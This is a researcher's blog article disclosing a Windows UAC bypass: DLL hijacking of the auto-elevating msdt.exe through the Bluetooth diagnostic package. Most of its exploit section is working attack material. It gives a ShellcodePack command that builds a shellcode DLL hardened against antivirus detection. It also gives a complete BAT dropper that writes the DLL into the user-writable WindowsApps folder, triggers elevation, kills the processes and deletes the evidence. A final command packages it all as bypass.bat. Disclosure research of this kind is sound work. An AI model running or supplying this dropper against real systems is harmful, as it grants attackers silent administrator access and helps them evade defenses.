MSDT DLL Hijack UAC bypass

UAC Bypass via DLL hijacking of Microsoft Support Diagnostic Tool (MSDT). The UAC bypass method described here is based on DLL hijacking which happens when loading the Bluetooth diagnostic package.

Article published on 2 February 2022

by Emeric Nasi


Note: This post requires some basic knowledge about Windows security and SysInternals toolsuit.
License : Copyright Emeric Nasi, some rights reserved
This work is licensed under a Creative Commons Attribution 4.0 International License.
Creative Commons License

1. Introduction

At the end of my talk at OffensiveCon 2019, I introduced a new UAC bypass method based on COM Hijacking in sdclt.exe (see https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass).
Three years later, I want to share another one! This time, the UAC bypass is triggered in the Microsoft Support Diagnostic Tool (MSDT).

The Microsoft Support Diagnostic Tool (MSDT) is implemented in msdt.exe. The UAC bypass is possible because msdt.exe is a software capable of auto-elevation without UAC prompt.
We can verify that using the SysInternals Sigcheck tool:

$ sigcheck.exe -m C:\Windows\System32\msdt.exe | findstr autoElevate
      <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>

This means that if we can find a DLL hijack or a com hijack when MSDT is running, then we can get high integrity privileges without the UAC prompt.

2. Origin of the bypass

MSDT has a lot of options and possible inputs, which implies a wide attack surface on this tool. Here is the page describing how to use MSDT command line:
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt.

The first thing to know is that msdt.exe does not systematically auto-elevate. It only elevates when loading diagnostic packages requiring it.

The diagnostic package configuration files are in XML format.
The packages which trigger elevation have the RequiresAdminPrivileges node set to true. For example:

Those XML package files can be found in C:\WINDOWS\diagnostics\index} and the list of all packages requiring elevation can be displayed using findstr:

$ findstr /s /i /m "RequiresAdminPrivileges>Tru" C:\WINDOWS\diagnostics\index\*
C:\WINDOWS\diagnostics\index\AppsDiagnostic.xml
C:\WINDOWS\diagnostics\index\AudioPlaybackDiagnostic.xml
C:\WINDOWS\diagnostics\index\AudioRecordingDiagnostic.xml
C:\WINDOWS\diagnostics\index\BITSDiagnostic.xml
C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml
C:\WINDOWS\diagnostics\index\DeviceCenterDiagnostic.xml
C:\WINDOWS\diagnostics\index\DeviceDiagnostic.xml
C:\WINDOWS\diagnostics\index\KeyboardDiagnostic.xml
C:\WINDOWS\diagnostics\index\PowerDiagnostic.xml
C:\WINDOWS\diagnostics\index\PrinterDiagnostic.xml
C:\WINDOWS\diagnostics\index\SpeechDiagnostic.xml
C:\WINDOWS\diagnostics\index\VideoPlaybackDiagnostic.xml
C:\WINDOWS\diagnostics\index\WindowsUpdateDiagnostic.xml

I noticed that calling the 32bit version of msdt.exe with the BluetoothDiagnostic package leads to DLL injection.

Here is what happens when you run:
c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes

First, msdt.exe opens, and then reopens itself with high privileges (AutoElevation):

Second, the elevated msdt.exe launches sdiagnhost.exe with elevated privileges.
In the Procmon capture below you can see sdiagnhost.exe is looking for a BluetoothDiagnosticUtil.dll DLL on the PATH, including in the %appdata%\Local\Microsoft\WindowsApps folder}. This folder is interesting because it is by default in PATH, and additionally, it is possible to write in it without elevated privileges.

We can check where the real DLL is using the where command line:

$ where /R C:\windows BluetoothDiagnosticUtil.dll
C:\Windows\diagnostics\system\Bluetooth\BluetoothDiagnosticUtil.dll

3. Exploit the bypass

3.1 Create a malicious DLL

To exploit the bypass, we first create a DLL to replace the missing BluetoothDiagnosticUtil.dll.
To do that quickly, I use ShellcodePack to create a DLL embedding a shellcode. The shellcode pops an elevated CMD Prompt.
Here is the ShellcodePack command line:

echo 'cmd.exe /c "start cmd.exe & taskkill /f /im msdt.exe & taskkill /f /im sdiagnhost.exe"' | shellcode_pack.exe --bypass --template=CMD -G _samples\BluetoothDiagnosticUtil.dll

Here you can see how I generated a command line executing shellcode via the CMD template.
I use the —bypass option to harden the shellcode against antivirus detection.
The shellcode is generated inside a DLL called BluetoothDiagnosticUtil.dll.

Concerning the command line itself, ShellcodePack CMD template will run the "cmd.exe /c" part in a hidden window.
Then:

  • I use start cmd.exe to display a visible elevated console
  • I use taskkill to kill msdt.exe and sdiagnhost.exe (See below why it needs to be done from inside the shellcode)
Note: ShellcodePack is a shellcode weaponization/ generation tool I develop and sell. To test this UAC bypass you can also use any DLL generator you want or compile your own DLL.

3.2 Create a BAT dropper

I like scripted exploits to be clean and packaged in a single file. For that I created a BAT dropper script.
The BAT files embed the DLL. When it is executed, the script:

  • Drops the malicious BluetoothDiagnosticUtil.dll in WindowsApps
  • Calls MSDT to have the malicious DLL loaded with High privileges
  • Cleans up (deletes the malicious BluetoothDiagnosticUtil.dll)

To automatically close the MSDT windows, I have to kill msdt.exe, but since it is running with high privileges, I have to kill it from the elevated shellcode. sdiaghost.exe must be killed as well to be able to delete the DLL.

Here is the content of the BAT file, I commented each line:

;;;;;,,,,,;;;;@echo Off
;;;;;,,,,,;;;;REM Extract all data not starting by ;;;;;,,,,,;;;; from current file to drop the DLL
;;;;;,,,,,;;;;findstr /v "^;;;;;,,,,,;;;;" "%~f0" > %appdata%\..\Local\Microsoft\WindowsApps\BluetoothDiagnosticUtil.dll
;;;;;,,,,,;;;;REM Start 32bit msdt.exe in background
;;;;;,,,,,;;;;start /b c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes
;;;;;,,,,,;;;;REM Wait 8 seconds, meanwhile the malicious DLL is loaded and the shellcode kills msdt and sdiagnhost
;;;;;,,,,,;;;;timeout 8 /nobreak 
;;;;;,,,,,;;;;REM cleanup
;;;;;,,,,,;;;;del %appdata%\..\Local\Microsoft\WindowsApps\BluetoothDiagnosticUtil.dll
Note: ’;’ and ’,’ chars are ignored by the command line so here we use them to differentiate the script from the DLL in the BAT file.

We append the previously created DLL to the script to create the BAT dropper:

copy /a test.bat + /b BluetoothDiagnosticUtil.dll /b bypass.bat

3.3 Exploit!

When bypass.bat is executed on a Windows 10 or Windows 11 machine, you get this nice admin shell without UAC prompt! :)